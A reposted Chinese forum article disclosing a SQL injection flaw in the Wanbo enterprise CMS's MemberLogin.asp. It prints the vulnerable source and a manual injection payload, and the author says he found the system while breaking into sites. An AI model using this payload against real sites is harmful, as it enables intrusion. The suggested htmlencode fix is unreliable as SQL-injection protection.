• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    万博企业网站管理系统注入漏洞(MemberLogin.asp)

    发布者: 土豆服务器 | 发布时间: 2025-6-27 15:58| 查看数: 85| 评论数: 0|帖子模式

    这两天拿站的时候,好几回都遇到个叫万博的企业管理系统,今天有时间就下载过来看了看,找到了个注入漏洞,郁闷的是,得手工,没法用工具,累人的事。因为已经找到了一个,我就没兴趣接着往下看了。

    这个注入漏洞发生在html/MemberLogin.asp文件里,在Include下有NoSqlHack.Asp文件也没调用,呵呵,就有了我们利用的地方了。

    MemberLogin.asp源码如下:

    复制代码代码如下:
    <%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%>
    <% Option Explicit %>
    <%Response.Charset="utf-8"%>
    <!--#include file="../Include/Const.asp"-->
    <!--#include file="../Include/ConnSiteData.asp"-->
    <!--#include file="../Include/Md5.asp"-->
    <%
    if request.QueryString("Action")="Out" then
    session.contents.remove "MemName"
    session.contents.remove "GroupID"
    session.contents.remove "GroupLevel"
    session.contents.remove "MemLogin"
    response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
    response.end
    end if
    Public ErrMsg(3)
    ErrMsg(0)="·登录名不正确,请返回。"
    ErrMsg(1)="·登录密码不正确,请返回。"
    ErrMsg(2)="·帐号非使用状态,请返回。"
    dim LoginName,LoginPassword,VerifyCode,MemName,Password,GroupID,GroupName,Working,rs,sql
    LoginName=trim(request.form("LoginName"))
    LoginPassword=Md5(request.form("LoginPassword"))
    set rs = server.createobject("adodb.recordset")
    sql="select * from NwebCn_Members where MemName='"&LoginName&"'"
    rs.open sql,conn,1,3
    if rs.bof and rs.eof then
    WriteMsg(ErrMsg(0))
    response.end
    else
    MemName=rs("MemName")
    Password=rs("assword")
    GroupID=rs("GroupID")
    GroupName=rs("GroupName")
    Working=rs("Working")
    end if
    if LoginPassword<>assword then
    WriteMsg(ErrMsg(1))
    response.end
    end if
    if not Working then
    WriteMsg(ErrMsg(2))
    response.end
    end if
    if UCase(LoginName)=UCase(MemName) and LoginPassword=Password then
    rs("LastLoginTime")=now()
    rs("LastLoginIP")=Request.ServerVariables("Remote_Addr")
    rs("LoginTimes")=rs("LoginTimes")+1
    rs.update
    rs.close
    set rs=nothing
    session("MemName")=MemName
    session("GroupID")=GroupID
    '===========
    set rs = server.createobject("adodb.recordset")
    sql="select * from NwebCn_MemGroup where GroupID='"&GroupID&"'"
    rs.open sql,conn,1,1
    session("GroupLevel")=rs("GroupLevel")
    rs.close
    set rs=nothing
    '===========
    session("MemLogin")="Succeed"
    session.timeout=60
    response.redirect Cstr(request.ServerVariables("HTTP_REFERER"))
    response.end
    end if
    %>

    看到了,LoginName未作过滤,直接代入查询,因此产生了这个注入,就是利用的方法有点麻烦,我试了下,没办法用工具,郁闷了。

    手工如:wzasdf' and exists (select * from [nwebcn_admin]) and '1'='1

    修复方法:LoginName=trim(request.form("LoginName"))
    用LoginName=server.htmlencode(trim(request.form("LoginName")) )
    或加入include目录里面的NoSqlHack.Asp记载一下也可以。

    FROM http://www.st999.cn/blog
    来源:https://www.jb51.net/hack/40090.html
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    最新评论

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表